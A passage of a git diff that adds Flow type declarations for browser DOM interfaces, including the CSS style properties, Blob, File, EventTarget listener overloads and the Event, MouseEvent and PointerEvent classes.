+  borderRightStyle: string;
+  borderRightWidth: string;
+  borderSpacing: string;
+  borderStyle: string;
+  borderTop: string;
+  borderTopColor: string;
+  borderTopLeftRadius: string;
+  borderTopRightRadius: string;
+  borderTopStyle: string;
+  borderTopWidth: string;
+  borderWidth: string;
+  bottom: string;
+  boxDecorationBreak: string;
+  boxShadow: string;
+  boxSizing: string;
+  breakAfter: string;
+  breakBefore: string;
+  breakInside: string;
+  captionSide: string;
+  clear: string;
+  clip: string;
+  clipPath: string;
+  color: string;
+  columns: string;
+  columnCount: string;
+  columnFill: string;
+  columnGap: string;
+  columnRule: string;
+  columnRuleColor: string;
+  columnRuleStyle: string;
+  columnRuleWidth: string;
+  columnSpan: string;
+  columnWidth: string;
+  contain: string;
+  content: string;
+  counterIncrement: string;
+  counterReset: string;
+  cursor: string;
+  direction: string;
+  display: string;
+  emptyCells: string;
+  filter: string;
+  flex: string;
+  flexBasis: string;
+  flexDirection: string;
+  flexFlow: string;
+  flexGrow: string;
+  flexShrink: string;
+  flexWrap: string;
+  float: string;
+  font: string;
+  fontFamily: string;
+  fontFeatureSettings: string;
+  fontKerning: string;
+  fontLanguageOverride: string;
+  fontSize: string;
+  fontSizeAdjust: string;
+  fontStretch: string;
+  fontStyle: string;
+  fontSynthesis: string;
+  fontVariant: string;
+  fontVariantAlternates: string;
+  fontVariantCaps: string;
+  fontVariantEastAsian: string;
+  fontVariantLigatures: string;
+  fontVariantNumeric: string;
+  fontVariantPosition: string;
+  fontWeight: string;
+  grad: string;
+  grid: string;
+  gridArea: string;
+  gridAutoColumns: string;
+  gridAutoFlow: string;
+  gridAutoPosition: string;
+  gridAutoRows: string;
+  gridColumn: string;
+  gridColumnStart: string;
+  gridColumnEnd: string;
+  gridRow: string;
+  gridRowStart: string;
+  gridRowEnd: string;
+  gridTemplate: string;
+  gridTemplateAreas: string;
+  gridTemplateRows: string;
+  gridTemplateColumns: string;
+  height: string;
+  hyphens: string;
+  imageRendering: string;
+  imageResolution: string;
+  imageOrientation: string;
+  imeMode: string;
+  inherit: string;
+  initial: string;
+  inlineSize: string;
+  isolation: string;
+  justifyContent: string;
+  left: string;
+  letterSpacing: string;
+  lineBreak: string;
+  lineHeight: string;
+  listStyle: string;
+  listStyleImage: string;
+  listStylePosition: string;
+  listStyleType: string;
+  margin: string;
+  marginBlockEnd: string;
+  marginBlockStart: string;
+  marginBottom: string;
+  marginInlineEnd: string;
+  marginInlineStart: string;
+  marginLeft: string;
+  marginRight: string;
+  marginTop: string;
+  marks: string;
+  mask: string;
+  maskType: string;
+  maxBlockSize: string;
+  maxHeight: string;
+  maxInlineSize: string;
+  maxWidth: string;
+  minBlockSize: string;
+  minHeight: string;
+  minInlineSize: string;
+  minWidth: string;
+  mixBlendMode: string;
+  mozTransform: string;
+  mozTransformOrigin: string;
+  mozTransitionDelay: string;
+  mozTransitionDuration: string;
+  mozTransitionProperty: string;
+  mozTransitionTimingFunction: string;
+  objectFit: string;
+  objectPosition: string;
+  offsetBlockEnd: string;
+  offsetBlockStart: string;
+  offsetInlineEnd: string;
+  offsetInlineStart: string;
+  opacity: string;
+  order: string;
+  orphans: string;
+  outline: string;
+  outlineColor: string;
+  outlineOffset: string;
+  outlineStyle: string;
+  outlineWidth: string;
+  overflow: string;
+  overflowWrap: string;
+  overflowX: string;
+  overflowY: string;
+  padding: string;
+  paddingBlockEnd: string;
+  paddingBlockStart: string;
+  paddingBottom: string;
+  paddingInlineEnd: string;
+  paddingInlineStart: string;
+  paddingLeft: string;
+  paddingRight: string;
+  paddingTop: string;
+  pageBreakAfter: string;
+  pageBreakBefore: string;
+  pageBreakInside: string;
+  perspective: string;
+  perspectiveOrigin: string;
+  pointerEvents: string;
+  position: string;
+  quotes: string;
+  rad: string;
+  resize: string;
+  right: string;
+  rubyAlign: string;
+  rubyMerge: string;
+  rubyPosition: string;
+  scrollBehavior: string;
+  scrollSnapCoordinate: string;
+  scrollSnapDestination: string;
+  scrollSnapPointsX: string;
+  scrollSnapPointsY: string;
+  scrollSnapType: string;
+  shapeImageThreshold: string;
+  shapeMargin: string;
+  shapeOutside: string;
+  tableLayout: string;
+  tabSize: string;
+  textAlign: string;
+  textAlignLast: string;
+  textCombineUpright: string;
+  textDecoration: string;
+  textDecorationColor: string;
+  textDecorationLine: string;
+  textDecorationStyle: string;
+  textIndent: string;
+  textOrientation: string;
+  textOverflow: string;
+  textRendering: string;
+  textShadow: string;
+  textTransform: string;
+  textUnderlinePosition: string;
+  top: string;
+  touchAction: string;
+  transform: string;
+  transformOrigin: string;
+  transformStyle: string;
+  transition: string;
+  transitionDelay: string;
+  transitionDuration: string;
+  transitionProperty: string;
+  transitionTimingFunction: string;
+  turn: string;
+  unicodeBidi: string;
+  unicodeRange: string;
+  userSelect: string;
+  verticalAlign: string;
+  visibility: string;
+  webkitOverflowScrolling: string;
+  webkitTransform: string;
+  webkitTransformOrigin: string;
+  webkitTransitionDelay: string;
+  webkitTransitionDuration: string;
+  webkitTransitionProperty: string;
+  webkitTransitionTimingFunction: string;
+  whiteSpace: string;
+  widows: string;
+  width: string;
+  willChange: string;
+  wordBreak: string;
+  wordSpacing: string;
+  wordWrap: string;
+  writingMode: string;
+  zIndex: string;
+
+  cssFloat: string;
+  cssText: string;
+  getPropertyPriority(property: string): string;
+  getPropertyValue(property: string): string;
+  item(index: number): string;
+  [index: number]: string;
+  length: number;
+  parentRule: CSSRule;
+  removeProperty(property: string): string;
+  setProperty(property: string, value: ?string, priority: ?string): void;
+  setPropertyPriority(property: string, priority: string): void;
+}
diff --git a/flow-typed/environments/dom.js b/flow-typed/environments/dom.js
new file mode 100644
index 000000000000..0ea2d2730a06
--- /dev/null
+++ b/flow-typed/environments/dom.js
@@ -0,0 +1,3678 @@
+// flow-typed signature: 2872ddd56ba4b4bfefacac38ebdc6087
+// flow-typed version: 3e51657e95/dom/flow_>=v0.261.x
+
+/* Files */
+
+declare class Blob {
+  constructor(
+    blobParts?: Array<any>,
+    options?: {
+      type?: string,
+      endings?: string,
+      ...
+    }
+  ): void;
+  isClosed: boolean;
+  size: number;
+  type: string;
+  close(): void;
+  slice(start?: number, end?: number, contentType?: string): Blob;
+  arrayBuffer(): Promise<ArrayBuffer>;
+  text(): Promise<string>;
+  stream(): ReadableStream;
+}
+
+declare class FileReader extends EventTarget {
+  +EMPTY: 0;
+  +LOADING: 1;
+  +DONE: 2;
+  +error: null | DOMError;
+  +readyState: 0 | 1 | 2;
+  +result: null | string | ArrayBuffer;
+  abort(): void;
+  onabort: null | ((ev: ProgressEvent) => any);
+  onerror: null | ((ev: ProgressEvent) => any);
+  onload: null | ((ev: ProgressEvent) => any);
+  onloadend: null | ((ev: ProgressEvent) => any);
+  onloadstart: null | ((ev: ProgressEvent) => any);
+  onprogress: null | ((ev: ProgressEvent) => any);
+  readAsArrayBuffer(blob: Blob): void;
+  readAsBinaryString(blob: Blob): void;
+  readAsDataURL(blob: Blob): void;
+  readAsText(blob: Blob, encoding?: string): void;
+}
+
+declare type FilePropertyBag = {
+  type?: string,
+  lastModified?: number,
+  ...
+};
+declare class File extends Blob {
+  constructor(
+    fileBits: $ReadOnlyArray<string | BufferDataSource | Blob>,
+    filename: string,
+    options?: FilePropertyBag
+  ): void;
+  lastModified: number;
+  name: string;
+}
+
+declare class FileList {
+  @@iterator(): Iterator<File>;
+  length: number;
+  item(index: number): File;
+  [index: number]: File;
+}
+
+declare class DOMError {
+  name: string;
+}
+
+declare interface ShadowRoot extends DocumentFragment {
+  +delegatesFocus: boolean;
+  +host: Element;
+  // flowlint unsafe-getters-setters:off
+  get innerHTML(): string;
+  set innerHTML(value: string | TrustedHTML): void;
+  // flowlint unsafe-getters-setters:error
+  +mode: ShadowRootMode;
+
+  // From DocumentOrShadowRoot Mixin.
+  +styleSheets: StyleSheetList;
+  adoptedStyleSheets: Array<CSSStyleSheet>;
+}
+
+declare type ShadowRootMode = 'open' | 'closed';
+
+declare type ShadowRootInit = {
+  delegatesFocus?: boolean,
+  mode: ShadowRootMode,
+  ...
+};
+
+declare type ScrollToOptions = {
+  top?: number,
+  left?: number,
+  behavior?: 'auto' | 'smooth',
+  ...
+};
+
+type EventHandler = (event: Event) => mixed;
+type EventListener = {handleEvent: EventHandler, ...} | EventHandler;
+type MouseEventHandler = (event: MouseEvent) => mixed;
+type MouseEventListener =
+  | {handleEvent: MouseEventHandler, ...}
+  | MouseEventHandler;
+type FocusEventHandler = (event: FocusEvent) => mixed;
+type FocusEventListener =
+  | {handleEvent: FocusEventHandler, ...}
+  | FocusEventHandler;
+type KeyboardEventHandler = (event: KeyboardEvent) => mixed;
+type KeyboardEventListener =
+  | {handleEvent: KeyboardEventHandler, ...}
+  | KeyboardEventHandler;
+type InputEventHandler = (event: InputEvent) => mixed;
+type InputEventListener =
+  | {handleEvent: InputEventHandler, ...}
+  | InputEventHandler;
+type TouchEventHandler = (event: TouchEvent) => mixed;
+type TouchEventListener =
+  | {handleEvent: TouchEventHandler, ...}
+  | TouchEventHandler;
+type WheelEventHandler = (event: WheelEvent) => mixed;
+type WheelEventListener =
+  | {handleEvent: WheelEventHandler, ...}
+  | WheelEventHandler;
+type AbortProgressEventHandler = (event: ProgressEvent) => mixed;
+type AbortProgressEventListener =
+  | {handleEvent: AbortProgressEventHandler, ...}
+  | AbortProgressEventHandler;
+type ProgressEventHandler = (event: ProgressEvent) => mixed;
+type ProgressEventListener =
+  | {handleEvent: ProgressEventHandler, ...}
+  | ProgressEventHandler;
+type DragEventHandler = (event: DragEvent) => mixed;
+type DragEventListener =
+  | {handleEvent: DragEventHandler, ...}
+  | DragEventHandler;
+type PointerEventHandler = (event: PointerEvent) => mixed;
+type PointerEventListener =
+  | {handleEvent: PointerEventHandler, ...}
+  | PointerEventHandler;
+type AnimationEventHandler = (event: AnimationEvent) => mixed;
+type AnimationEventListener =
+  | {handleEvent: AnimationEventHandler, ...}
+  | AnimationEventHandler;
+type ClipboardEventHandler = (event: ClipboardEvent) => mixed;
+type ClipboardEventListener =
+  | {handleEvent: ClipboardEventHandler, ...}
+  | ClipboardEventHandler;
+type TransitionEventHandler = (event: TransitionEvent) => mixed;
+type TransitionEventListener =
+  | {handleEvent: TransitionEventHandler, ...}
+  | TransitionEventHandler;
+type MessageEventHandler = (event: MessageEvent<>) => mixed;
+type MessageEventListener =
+  | {handleEvent: MessageEventHandler, ...}
+  | MessageEventHandler;
+type BeforeUnloadEventHandler = (event: BeforeUnloadEvent) => mixed;
+type BeforeUnloadEventListener =
+  | {handleEvent: BeforeUnloadEventHandler, ...}
+  | BeforeUnloadEventHandler;
+type StorageEventHandler = (event: StorageEvent) => mixed;
+type StorageEventListener =
+  | {handleEvent: StorageEventHandler, ...}
+  | StorageEventHandler;
+type SecurityPolicyViolationEventHandler = (
+  event: SecurityPolicyViolationEvent
+) => mixed;
+type SecurityPolicyViolationEventListener =
+  | {handleEvent: SecurityPolicyViolationEventHandler, ...}
+  | SecurityPolicyViolationEventHandler;
+type USBConnectionEventHandler = (event: USBConnectionEvent) => mixed;
+type USBConnectionEventListener =
+  | {handleEvent: USBConnectionEventHandler, ...}
+  | USBConnectionEventHandler;
+
+type MediaKeySessionType = 'temporary' | 'persistent-license';
+type MediaKeyStatus =
+  | 'usable'
+  | 'expired'
+  | 'released'
+  | 'output-restricted'
+  | 'output-downscaled'
+  | 'status-pending'
+  | 'internal-error';
+type MouseEventTypes =
+  | 'contextmenu'
+  | 'mousedown'
+  | 'mouseenter'
+  | 'mouseleave'
+  | 'mousemove'
+  | 'mouseout'
+  | 'mouseover'
+  | 'mouseup'
+  | 'click'
+  | 'dblclick';
+type FocusEventTypes = 'blur' | 'focus' | 'focusin' | 'focusout';
+type KeyboardEventTypes = 'keydown' | 'keyup' | 'keypress';
+type InputEventTypes = 'input' | 'beforeinput';
+type TouchEventTypes = 'touchstart' | 'touchmove' | 'touchend' | 'touchcancel';
+type WheelEventTypes = 'wheel';
+type AbortProgressEventTypes = 'abort';
+type ProgressEventTypes =
+  | 'abort'
+  | 'error'
+  | 'load'
+  | 'loadend'
+  | 'loadstart'
+  | 'progress'
+  | 'timeout';
+type DragEventTypes =
+  | 'drag'
+  | 'dragend'
+  | 'dragenter'
+  | 'dragexit'
+  | 'dragleave'
+  | 'dragover'
+  | 'dragstart'
+  | 'drop';
+type PointerEventTypes =
+  | 'pointerover'
+  | 'pointerenter'
+  | 'pointerdown'
+  | 'pointermove'
+  | 'pointerup'
+  | 'pointercancel'
+  | 'pointerout'
+  | 'pointerleave'
+  | 'gotpointercapture'
+  | 'lostpointercapture';
+type AnimationEventTypes =
+  | 'animationstart'
+  | 'animationend'
+  | 'animationiteration';
+type ClipboardEventTypes = 'clipboardchange' | 'cut' | 'copy' | 'paste';
+type TransitionEventTypes =
+  | 'transitionrun'
+  | 'transitionstart'
+  | 'transitionend'
+  | 'transitioncancel';
+type MessageEventTypes = string;
+type BeforeUnloadEventTypes = 'beforeunload';
+type StorageEventTypes = 'storage';
+type SecurityPolicyViolationEventTypes = 'securitypolicyviolation';
+type USBConnectionEventTypes = 'connect' | 'disconnect';
+type ToggleEventTypes = 'beforetoggle' | 'toggle';
+type EventListenerOptionsOrUseCapture =
+  | boolean
+  | {
+      capture?: boolean,
+      once?: boolean,
+      passive?: boolean,
+      signal?: AbortSignal,
+      ...
+    };
+
+declare class EventTarget {
+  addEventListener(
+    type: MouseEventTypes,
+    listener: MouseEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: FocusEventTypes,
+    listener: FocusEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: KeyboardEventTypes,
+    listener: KeyboardEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: InputEventTypes,
+    listener: InputEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: TouchEventTypes,
+    listener: TouchEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: WheelEventTypes,
+    listener: WheelEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: AbortProgressEventTypes,
+    listener: AbortProgressEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: ProgressEventTypes,
+    listener: ProgressEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: DragEventTypes,
+    listener: DragEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: PointerEventTypes,
+    listener: PointerEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: AnimationEventTypes,
+    listener: AnimationEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: ClipboardEventTypes,
+    listener: ClipboardEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: TransitionEventTypes,
+    listener: TransitionEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: MessageEventTypes,
+    listener: MessageEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: BeforeUnloadEventTypes,
+    listener: BeforeUnloadEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: StorageEventTypes,
+    listener: StorageEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: SecurityPolicyViolationEventTypes,
+    listener: SecurityPolicyViolationEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: USBConnectionEventTypes,
+    listener: USBConnectionEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  addEventListener(
+    type: string,
+    listener: EventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+
+  removeEventListener(
+    type: MouseEventTypes,
+    listener: MouseEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: FocusEventTypes,
+    listener: FocusEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: KeyboardEventTypes,
+    listener: KeyboardEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: InputEventTypes,
+    listener: InputEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: TouchEventTypes,
+    listener: TouchEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: WheelEventTypes,
+    listener: WheelEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: AbortProgressEventTypes,
+    listener: AbortProgressEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: ProgressEventTypes,
+    listener: ProgressEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: DragEventTypes,
+    listener: DragEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: PointerEventTypes,
+    listener: PointerEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: AnimationEventTypes,
+    listener: AnimationEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: ClipboardEventTypes,
+    listener: ClipboardEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: TransitionEventTypes,
+    listener: TransitionEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: MessageEventTypes,
+    listener: MessageEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: BeforeUnloadEventTypes,
+    listener: BeforeUnloadEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: StorageEventTypes,
+    listener: StorageEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: SecurityPolicyViolationEventTypes,
+    listener: SecurityPolicyViolationEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: USBConnectionEventTypes,
+    listener: USBConnectionEventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+  removeEventListener(
+    type: string,
+    listener: EventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture
+  ): void;
+
+  attachEvent?: (type: MouseEventTypes, listener: MouseEventListener) => void;
+  attachEvent?: (type: FocusEventTypes, listener: FocusEventListener) => void;
+  attachEvent?: (
+    type: KeyboardEventTypes,
+    listener: KeyboardEventListener
+  ) => void;
+  attachEvent?: (type: InputEventTypes, listener: InputEventListener) => void;
+  attachEvent?: (type: TouchEventTypes, listener: TouchEventListener) => void;
+  attachEvent?: (type: WheelEventTypes, listener: WheelEventListener) => void;
+  attachEvent?: (
+    type: AbortProgressEventTypes,
+    listener: AbortProgressEventListener
+  ) => void;
+  attachEvent?: (
+    type: ProgressEventTypes,
+    listener: ProgressEventListener
+  ) => void;
+  attachEvent?: (type: DragEventTypes, listener: DragEventListener) => void;
+  attachEvent?: (
+    type: PointerEventTypes,
+    listener: PointerEventListener
+  ) => void;
+  attachEvent?: (
+    type: AnimationEventTypes,
+    listener: AnimationEventListener
+  ) => void;
+  attachEvent?: (
+    type: ClipboardEventTypes,
+    listener: ClipboardEventListener
+  ) => void;
+  attachEvent?: (
+    type: TransitionEventTypes,
+    listener: TransitionEventListener
+  ) => void;
+  attachEvent?: (
+    type: MessageEventTypes,
+    listener: MessageEventListener
+  ) => void;
+  attachEvent?: (
+    type: BeforeUnloadEventTypes,
+    listener: BeforeUnloadEventListener
+  ) => void;
+  attachEvent?: (
+    type: StorageEventTypes,
+    listener: StorageEventListener
+  ) => void;
+  attachEvent?: (
+    type: USBConnectionEventTypes,
+    listener: USBConnectionEventListener
+  ) => void;
+  attachEvent?: (type: string, listener: EventListener) => void;
+
+  detachEvent?: (type: MouseEventTypes, listener: MouseEventListener) => void;
+  detachEvent?: (type: FocusEventTypes, listener: FocusEventListener) => void;
+  detachEvent?: (
+    type: KeyboardEventTypes,
+    listener: KeyboardEventListener
+  ) => void;
+  detachEvent?: (type: InputEventTypes, listener: InputEventListener) => void;
+  detachEvent?: (type: TouchEventTypes, listener: TouchEventListener) => void;
+  detachEvent?: (type: WheelEventTypes, listener: WheelEventListener) => void;
+  detachEvent?: (
+    type: AbortProgressEventTypes,
+    listener: AbortProgressEventListener
+  ) => void;
+  detachEvent?: (
+    type: ProgressEventTypes,
+    listener: ProgressEventListener
+  ) => void;
+  detachEvent?: (type: DragEventTypes, listener: DragEventListener) => void;
+  detachEvent?: (
+    type: PointerEventTypes,
+    listener: PointerEventListener
+  ) => void;
+  detachEvent?: (
+    type: AnimationEventTypes,
+    listener: AnimationEventListener
+  ) => void;
+  detachEvent?: (
+    type: ClipboardEventTypes,
+    listener: ClipboardEventListener
+  ) => void;
+  detachEvent?: (
+    type: TransitionEventTypes,
+    listener: TransitionEventListener
+  ) => void;
+  detachEvent?: (
+    type: MessageEventTypes,
+    listener: MessageEventListener
+  ) => void;
+  detachEvent?: (
+    type: BeforeUnloadEventTypes,
+    listener: BeforeUnloadEventListener
+  ) => void;
+  detachEvent?: (
+    type: StorageEventTypes,
+    listener: StorageEventListener
+  ) => void;
+  detachEvent?: (
+    type: USBConnectionEventTypes,
+    listener: USBConnectionEventListener
+  ) => void;
+  detachEvent?: (type: string, listener: EventListener) => void;
+
+  dispatchEvent(evt: Event): boolean;
+
+  // Deprecated
+
+  cancelBubble: boolean;
+  initEvent(
+    eventTypeArg: string,
+    canBubbleArg: boolean,
+    cancelableArg: boolean
+  ): void;
+}
+
+// https://dom.spec.whatwg.org/#dictdef-eventinit
+type Event$Init = {
+  bubbles?: boolean,
+  cancelable?: boolean,
+  composed?: boolean,
+  /** Non-standard. See `composed` instead. */
+  scoped?: boolean,
+  ...
+};
+
+// https://dom.spec.whatwg.org/#interface-event
+declare class Event {
+  constructor(type: string, eventInitDict?: Event$Init): void;
+  /**
+   * Returns the type of event, e.g. "click", "hashchange", or "submit".
+   */
+  +type: string;
+  /**
+   * Returns the object to which event is dispatched (its target).
+   */
+  +target: EventTarget; // TODO: nullable
+  /** @deprecated */
+  +srcElement: Element; // TODO: nullable
+  /**
+   * Returns the object whose event listener's callback is currently being invoked.
+   */
+  +currentTarget: EventTarget; // TODO: nullable
+  /**
+   * Returns the invocation target objects of event's path (objects on which
+   * listeners will be invoked), except for any nodes in shadow trees of which
+   * the shadow root's mode is "closed" that are not reachable from event's
+   * currentTarget.
+   */
+  composedPath(): Array<EventTarget>;
+
+  +NONE: number;
+  +AT_TARGET: number;
+  +BUBBLING_PHASE: number;
+  +CAPTURING_PHASE: number;
+  /**
+   * Returns the event's phase, which is one of NONE, CAPTURING_PHASE, AT_TARGET,
+   * and BUBBLING_PHASE.
+   */
+  +eventPhase: number;
+
+  /**
+   * When dispatched in a tree, invoking this method prevents event from reaching
+   * any objects other than the current object.
+   */
+  stopPropagation(): void;
+  /**
+   * Invoking this method prevents event from reaching any registered event
+   * listeners after the current one finishes running and, when dispatched in a
+   * tree, also prevents event from reaching any other objects.
+   */
+  stopImmediatePropagation(): void;
+
+  /**
+   * Returns true or false depending on how event was initialized. True if
+   * event goes through its target's ancestors in reverse tree order, and
+   * false otherwise.
+   */
+  +bubbles: boolean;
+  /**
+   * Returns true or false depending on how event was initialized. Its
+   * return value does not always carry meaning, but true can indicate
+   * that part of the operation during which event was dispatched, can
+   * be canceled by invoking the preventDefault() method.
+   */
+  +cancelable: boolean;
+  // returnValue: boolean; // legacy, and some subclasses still define it as a string!
+  /**
+   * If invoked when the cancelable attribute value is true, and while
+   * executing a listener for the event with passive set to false, signals to
+   * the operation that caused event to be dispatched that it needs to be
+   * canceled.
+   */
+  preventDefault(): void;
+  /**
+   * Returns true if preventDefault() was invoked successfully to indicate
+   * cancelation, and false otherwise.
+   */
+  +defaultPrevented: boolean;
+  /**
+   * Returns true or false depending on how event was initialized. True if
+   * event invokes listeners past a ShadowRoot node that is the root of its
+   * target, and false otherwise.
+   */
+  +composed: boolean;
+
+  /**
+   * Returns true if event was dispatched by the user agent, and false otherwise.
+   */
+  +isTrusted: boolean;
+  /**
+   * Returns the event's timestamp as the number of milliseconds measured relative
+   * to the time origin.
+   */
+  +timeStamp: number;
+
+  /** Non-standard. See Event.prototype.composedPath */
+  +deepPath?: () => EventTarget[];
+  /** Non-standard. See Event.prototype.composed */
+  +scoped: boolean;
+
+  /**
+   * @deprecated
+   */
+  initEvent(type: string, bubbles: boolean, cancelable: boolean): void;
+}
+
+type CustomEvent$Init = {...Event$Init, detail?: any, ...};
+
+declare class CustomEvent extends Event {
+  constructor(type: string, eventInitDict?: CustomEvent$Init): void;
+  detail: any;
+
+  // deprecated
+  initCustomEvent(
+    type: string,
+    bubbles: boolean,
+    cancelable: boolean,
+    detail: any
+  ): CustomEvent;
+}
+
+type UIEvent$Init = {...Event$Init, detail?: number, view?: any, ...};
+
+declare class UIEvent extends Event {
+  constructor(typeArg: string, uiEventInit?: UIEvent$Init): void;
+  detail: number;
+  view: any;
+}
+
+declare class CompositionEvent extends UIEvent {
+  data: string | null;
+  locale: string;
+}
+
+type MouseEvent$MouseEventInit = {
+  screenX?: number,
+  screenY?: number,
+  clientX?: number,
+  clientY?: number,
+  ctrlKey?: boolean,
+  shiftKey?: boolean,
+  altKey?: boolean,
+  metaKey?: boolean,
+  button?: number,
+  buttons?: number,
+  region?: string | null,
+  relatedTarget?: EventTarget | null,
+  ...
+};
+
+declare class MouseEvent extends UIEvent {
+  constructor(
+    typeArg: string,
+    mouseEventInit?: MouseEvent$MouseEventInit
+  ): void;
+  altKey: boolean;
+  button: number;
+  buttons: number;
+  clientX: number;
+  clientY: number;
+  ctrlKey: boolean;
+  metaKey: boolean;
+  movementX: number;
+  movementY: number;
+  offsetX: number;
+  offsetY: number;
+  pageX: number;
+  pageY: number;
+  region: string | null;
+  relatedTarget: EventTarget | null;
+  screenX: number;
+  screenY: number;
+  shiftKey: boolean;
+  x: number;
+  y: number;
+  getModifierState(keyArg: string): boolean;
+}
+
+declare class FocusEvent extends UIEvent {
+  relatedTarget: ?EventTarget;
+}
+
+type WheelEvent$Init = {
+  ...MouseEvent$MouseEventInit,
+  deltaX?: number,
+  deltaY?: number,
+  deltaZ?: number,
+  deltaMode?: 0x00 | 0x01 | 0x02,
+  ...
+};
+
+declare class WheelEvent extends MouseEvent {
+  static +DOM_DELTA_PIXEL: 0x00;
+  static +DOM_DELTA_LINE: 0x01;
+  static +DOM_DELTA_PAGE: 0x02;
+
+  constructor(type: string, eventInitDict?: WheelEvent$Init): void;
+  +deltaX: number;
+  +deltaY: number;
+  +deltaZ: number;
+  +deltaMode: 0x00 | 0x01 | 0x02;
+}
+
+declare class DragEvent extends MouseEvent {
+  dataTransfer: ?DataTransfer; // readonly
+}
+
+type PointerEvent$PointerEventInit = MouseEvent$MouseEventInit & {
+  pointerId?: number,
+  width?: number,
+  height?: number,
+  pressure?: number,
+  tangentialPressure?: number,
+  tiltX?: number,
+  tiltY?: number,
+  twist?: number,
+  pointerType?: string,
+  isPrimary?: boolean,
+  ...
+};
+
+declare class PointerEvent extends MouseEvent {
+  constructor(
+    typeArg: string,
+    pointerEventInit?: PointerEvent$PointerEventInit
+  ): void;
+  pointerId: number;
+  width: number;
+  height: number;
+  pressure: number;
+  tangentialPressure: number;
+  tiltX: number;
+  tiltY: number;
+  twist: number;
+  pointerType: string;
+  isPrimary: boolean;
+}
+
+declare class ProgressEvent extends Event {
+  lengthComputable: boolean;
+  loaded: number;
+  total: number;
+
+  // Deprecated
+  initProgressEvent(
+    typeArg: string,
+    canBubbleArg: boolean,
+    cancelableArg: boolean,
+    lengthComputableArg: boolean,
+    loadedArg: number,
+    totalArg: number
+  ): void;
+}
+
+declare class PromiseRejectionEvent extends Event {
+  promise: Promise<any>;
+  reason: any;
+}
+
+type PageTransitionEventInit = {
+  ...Event$Init,
+  persisted: boolean,
+  ...
+};
+
+// https://html.spec.whatwg.org/multipage/browsing-the-web.html#the-pagetransitionevent-interface
+declare class PageTransitionEvent extends Event {
+  constructor(type: string, init?: PageTransitionEventInit): void;
+  +persisted: boolean;
+}
+
+// used for websockets and postMessage, for example. See:
+// https://www.w3.org/TR/2011/WD-websockets-20110419/
+// and
+// https://www.w3.org/TR/2008/WD-html5-20080610/comms.html
+// and
+// https://html.spec.whatwg.org/multipage/comms.html#the-messageevent-interfaces
+declare class MessageEvent<Data = mixed> extends Event {
+  data: Data;
+  origin: string;
+  lastEventId: string;
+  source: WindowProxy;
+}
+
+// https://w3c.github.io/uievents/#idl-keyboardeventinit
+type KeyboardEvent$Init = {
+  ...UIEvent$Init,
+  /**
+   * Initializes the `key` attribute of the KeyboardEvent object to the unicode
+   * character string representing the meaning of a key after taking into
